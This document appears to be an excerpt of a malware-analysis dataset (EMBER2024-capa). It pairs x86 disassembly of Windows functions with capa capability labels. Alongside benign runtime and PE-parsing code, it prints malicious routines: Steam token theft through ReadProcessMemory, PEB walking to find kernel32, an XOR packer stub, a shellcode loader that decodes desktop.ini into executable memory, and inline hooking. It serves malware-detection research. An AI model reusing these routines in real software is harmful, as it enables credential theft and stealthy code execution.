joyce8/EMBER2024-capa huggingface dataset:
Function at 0x468387
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x14
push ebx
mov ebx, dword [esp + 0x30]
push ebp
mov ebp, dword [esp + 0x20]
push esi
push edi
xor esi, esi
xor edi, edi
mov byte [esp + 0x3c], 1
cmp dword [ebp + 4], esi
jne 0x4683b0
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 0x18
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
mov byte [ebx], 0
mov byte [eax], 0
mov byte [ecx], 0
mov byte [edx], 0
push esi
push ebp
call fcn.00438a19
movzx eax, word [eax]
cmp ax, 0x2b
je 0x4683f0
cmp ax, 0x5e
je 0x4683ea
cmp ax, 0x21
je 0x4683ea
cmp ax, 0x23
jne 0x468426
cmp ax, 0x2b
jne 0x4683fa
mov eax, dword [esp + 0x30]
mov byte [eax], 1
inc esi
jmp 0x4683c8
cmp ax, 0x5e
jne 0x46840a
mov ecx, dword [esp + 0x34]
mov byte [ecx], 1
inc esi
jmp 0x4683c8
cmp ax, 0x21
jne 0x46841a
mov edx, dword [esp + 0x38]
mov byte [edx], 1
inc esi
jmp 0x4683c8
cmp ax, 0x23
jne 0x468423
mov byte [ebx], 1
inc esi
jmp 0x4683c8
mov eax, esi
push eax
inc esi
push ebp
mov dword [esp + 0x30], esi
call fcn.00438a19
movzx eax, word [eax]
cmp ax, 0x7b
jne 0x46850f
mov eax, 0x40
lea ecx, [esp + 0x10]
call fcn.004013a0
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x14]
push ecx
push ebp
push 0x7d
call fcn.0045f717
test al, al
je 0x4684e7
mov edx, dword [esp + 0x10]
mov eax, dword [edi*4 + 0x492b10]
push edx
push eax
call fcn.004115d0
add esp, 8
test eax, eax
je 0x468488
inc edi
cmp edi, 0x62
jl 0x468469
cmp edi, 0x62
jne 0x4684de
xor edi, edi
lea esi, [esp + 0x10]
call fcn.00401cf0
movzx ecx, word [eax]
push ecx
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov edx, dword [esp + 0x2c]
cwde
mov dword [edx], eax
test eax, 0x200
je 0x4684b7
mov ecx, dword [esp + 0x34]
mov byte [ecx], 1
test eax, 0x400
je 0x4684c5
mov edx, dword [esp + 0x38]
mov byte [edx], 1
test eax, 0x100
je 0x468504
mov eax, dword [esp + 0x30]
lea ecx, [esp + 0x10]
mov byte [eax], 1
call fcn.00402620
jmp 0x468547
cmp byte [edi + 0x492c98], 0
je 0x4684f7
lea ecx, [esp + 0x10]
mov byte [esp + 0x3c], 0
call fcn.00402620
jmp 0x468547
movzx ecx, byte [edi + str._f_b_b..__reepqrstuvwxyz________t___]
mov edx, dword [esp + 0x2c]
mov dword [edx], ecx
lea ecx, [esp + 0x10]
call fcn.00402620
jmp 0x468547
push eax
call dword [sym.imp.USER32.dll_VkKeyScanW]
mov ecx, dword [esp + 0x2c]
cwde
mov dword [ecx], eax
test eax, 0x200
je 0x46852b
mov edx, dword [esp + 0x34]
mov byte [edx], 1
test eax, 0x400
je 0x468539
mov ecx, dword [esp + 0x38]
mov byte [ecx], 1
test eax, 0x100
je 0x468547
mov edx, dword [esp + 0x30]
mov byte [edx], 1
mov eax, dword [esp + 0x2c]
and dword [eax], 0xff
mov al, byte [esp + 0x3c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 0x18
Function at 0x406530
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
push 0x40
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x406553
mov eax, 1
jmp 0x40665e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x406569
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x3c], 0
jne 0x406573
mov eax, 2
jmp 0x40665e
mov edx, dword [ebp + 0x10]
push edx
push 0xf8
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x40659e
mov eax, 1
jmp 0x40665e
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 0x4550
jne 0x4065c4
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 0x58]
cmp edx, 0x10b
jne 0x4065c4
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x46]
test ecx, ecx
jne 0x4065ce
mov eax, 2
jmp 0x40665e
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x140]
push eax
call fcn.00418a10
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x138], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x138], 0
jne 0x40660f
mov eax, 3
jmp 0x40665e
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x54]
lea ecx, [ecx + eax + 0x18]
mov edx, dword [ebp + 8]
mov dword [edx + 0x13c], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x140]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x13c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x40665c
mov eax, 1
jmp 0x40665e
xor eax, eax
pop ebp
ret

Function at 0x407000
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x407016
xor eax, eax
jmp 0x407056
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0x4550
jne 0x40703b
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x18]
cmp eax, 0x10b
je 0x40703f
xor eax, eax
jmp 0x407056
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x78]
push ecx
call fcn.00407060
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x4170d0
Capabilities:
Get steam token

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push 0x64000
call dword [sym.imp.msvcrt.dll_void____cdecl_operator_new___unsigned_int_]
add esp, 4
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x458]
mov dword [ebp - 8], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 0x4205bd
lea ecx, [ebp - 0x1c]
call fcn.0041a740
mov ecx, dword [ebp + 8]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x417148
mov dword [ebp - 0x45c], 0x4205be
lea ecx, [ebp - 0x1c]
call fcn.0041a800
mov eax, dword [ebp - 0x45c]
jmp 0x4172df
mov edx, 1
test edx, edx
je 0x4172ae
mov byte [ebp - 0x438], 0
push 0x207
push 0
lea eax, [ebp - 0x437]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 8]
push edx
push 0xfff
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push str.65_79_41_69_64_48_6C_77_49_6A_6F_67_49_6B_70_58_56_43_49_73_49_43_4A_68_62_47_63_69_4F_69_41_69_52_57_52_45_55_30_45_69_49_48_30
mov edx, dword [ebp - 4]
push edx
call fcn.00416f00
add esp, 0x20
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
add eax, 0x208
mov ecx, dword [ebp - 0x24]
adc ecx, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x24], 0
ja 0x4171ca
jb 0x4171c5
cmp dword [ebp - 0x28], 0
ja 0x4171ca
jmp 0x4172ae
cmp dword [ebp - 0x24], 0
ja 0x4171d9
cmp dword [ebp - 0x28], 0xffff
jbe 0x4171f5
push 0
push 0x208
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x1c]
call fcn.0041a820
lea ecx, [ebp - 0x1c]
call fcn.0041aad0
push eax
call dword [0x64a784]
cmp eax, 0x12c
jle 0x4172a9
lea ecx, [ebp - 0x1c]
call fcn.0041aad0
push eax
lea ecx, [ebp - 0x478]
call fcn.00417320
lea eax, [ebp - 0x478]
push eax
lea ecx, [ebp - 0x454]
push ecx
call fcn.00416b60
add esp, 8
lea ecx, [ebp - 0x478]
call fcn.00408060
lea ecx, [ebp - 0x454]
call fcn.00417380
movzx edx, al
test edx, edx
jne 0x41729e
lea ecx, [ebp - 0x454]
call fcn.00417360
cmp eax, 0xa
jbe 0x41729e
lea ecx, [ebp - 0x1c]
call fcn.0041aad0
mov dword [ebp - 0x47c], eax
lea ecx, [ebp - 0x454]
call fcn.00408060
lea ecx, [ebp - 0x1c]
call fcn.0041a800
mov eax, dword [ebp - 0x47c]
jmp 0x4172df
lea ecx, [ebp - 0x454]
call fcn.00408060
jmp 0x417148
mov eax, dword [ebp - 8]
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x480]
push ecx
call dword [sym.imp.msvcrt.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov dword [ebp - 0x484], 0x4205bf
lea ecx, [ebp - 0x1c]
call fcn.0041a800
mov eax, dword [ebp - 0x484]
mov esp, ebp
pop ebp
ret
Function at 0x419750
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x419780
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x419793
xor eax, eax
jmp 0x419851
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x4197ae
xor eax, eax
jmp 0x419851
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x4197cc
xor eax, eax
jmp 0x419851
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0x41980e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x41984f
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.00418a30
add esp, 8
test eax, eax
jne 0x41984d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x419851
jmp 0x419805
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x41b33a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b140]
jne 0x41b344
repz ret
jmp fcn.0041bae7
Function at 0x41c03d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0041be35
and dword [ebp - 0x14], 0
cmp dword [0x449f40], 0
mov dword [ebp - 0x18], eax
jne 0x41c0f0
push 0x41f330
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41c198
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41c198
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x449f40], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x449f44], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x449f48], eax
call edi
push eax
call esi
mov dword [0x449f50], eax
test eax, eax
je 0x41c0f0
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x449f4c], eax
mov eax, dword [0x449f4c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41c149
cmp dword [0x449f50], ecx
je 0x41c149
push eax
call esi
push dword [0x449f50]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41c149
test ebx, ebx
je 0x41c149
call edi
test eax, eax
je 0x41c140
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41c140
test byte [ebp - 8], 1
jne 0x41c149
or dword [ebp + 0x10], 0x200000
jmp 0x41c17c
mov eax, dword [0x449f44]
cmp eax, dword [ebp - 0x18]
je 0x41c17c
push eax
call esi
test eax, eax
je 0x41c17c
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41c17c
mov eax, dword [0x449f48]
cmp eax, dword [ebp - 0x18]
je 0x41c17c
push eax
call esi
test eax, eax
je 0x41c17c
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x449f40]
call esi
test eax, eax
je 0x41c198
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41c19a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041b33a
leave
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x33a31425
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..text_1
mov ebx, 0x4304d8
nop
mov ecx, 0x9f11d95
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10001180
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 5
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
mov eax, dword [edx]
mov ecx, dword [edx + 4]
mov dword [0x100188b0], eax
mov dword [0x100188b4], ecx
mov edx, dword [ebp + 8]
mov byte [edx], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sub eax, 5
mov ecx, dword [ebp + 8]
mov dword [ecx + 1], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027de
mov esp, ebp
pop ebp
ret

Function at 0x10001480
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0x100187a0
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0x10014d98
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100188a8], eax
push 0x100012b0
mov eax, dword [0x100188a8]
push eax
call fcn.10001180
add esp, 8
pop ebp
ret

Function at 0x10001510
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
add eax, 0xa58d8
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 8]
push ecx
push 0x40
push 5
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x100014d0
sub eax, dword [ebp - 0xc]
sub eax, 5
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0xc]
mov byte [ecx], 0xe9
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov dword [edx + 1], eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
push 5
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027de
mov esp, ebp
pop ebp
ret

Function at 0x10001610
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0x6e0961
lea eax, [ebp - 8]
push eax
push 0x40
push 5
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, 0x10001580
sub edx, dword [ebp - 0xc]
sub edx, 5
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
mov byte [eax], 0xe9
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov dword [ecx + 1], edx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 5
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027de
mov esp, ebp
pop ebp
ret
Function at 0x100016e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0x68a50e
lea eax, [ebp - 8]
push eax
push 0x40
push 5
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, 0x10001680
sub edx, dword [ebp - 0xc]
sub edx, 5
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0xc]
mov byte [eax], 0xe9
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
mov dword [ecx + 1], edx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 5
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027de
mov esp, ebp
pop ebp
ret

Function at 0x10001a10
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 2
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov cx, word [eax]
mov word [edx], cx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 8]
push eax
push 2
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027de
mov esp, ebp
pop ebp
ret

Function at 0x10001a60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 6
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [edx]
mov dword [eax], ecx
mov dx, word [edx + 4]
mov word [eax + 4], dx
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 6
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027de
mov esp, ebp
pop ebp
ret

Function at 0x10001ac0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 5
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [edx]
mov dword [eax], ecx
mov dl, byte [edx + 4]
mov byte [eax + 4], dl
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 5
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100027de
mov esp, ebp
pop ebp
ret
Function at 0x10006496
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100064d5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100064d5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100064d5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100064d5
cmp dword [ecx + 0x74], 0xe
jbe 0x100064d5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000986f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000990c
push ebx
push esi
call fcn.10009838
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100097cc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100098b9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000990b
push edi
push eax
call fcn.10007665
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100098d9
call fcn.1000762b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000990a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100097cc
add esp, 0x20
test eax, eax
jne 0x100098f8
push edi
call fcn.1000762b
jmp 0x10009900
push ebx
call fcn.1000762b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10009b79
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10011a40
push 0x10011a38
push str.FlsAlloc
push 0x1f
call fcn.10009a95
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009bad
push dword [ebp + 8]
mov ecx, esi
call dword [0x10010134]
call esi
jmp 0x10009bb3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10009bf7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10011a50
push 0x10011a48
push str.FlsGetValue
push 0x21
call fcn.10009a95
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009c2e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10010134]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10009c36
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10011a58
push 0x10011a50
push str.FlsSetValue
push 0x22
call fcn.10009a95
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10009c70
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10010134]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]